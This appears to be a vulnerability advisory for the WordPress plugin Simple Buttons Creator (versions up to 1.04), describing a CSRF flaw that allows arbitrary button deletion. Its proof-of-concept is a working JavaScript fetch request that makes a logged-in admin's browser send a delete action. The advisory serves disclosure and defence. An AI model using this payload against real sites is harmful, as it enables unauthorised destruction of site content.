Simple Buttons Creator <= 1.04 - Aribtrary Button Deletion via CSRF

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

PoC

Make a logged in admin open a page with the code below (where <> is an existing button): fetch("https://example.com/wp-admin/admin.php?page=simple-buttons", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": 'method=delete&id;=<>', "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));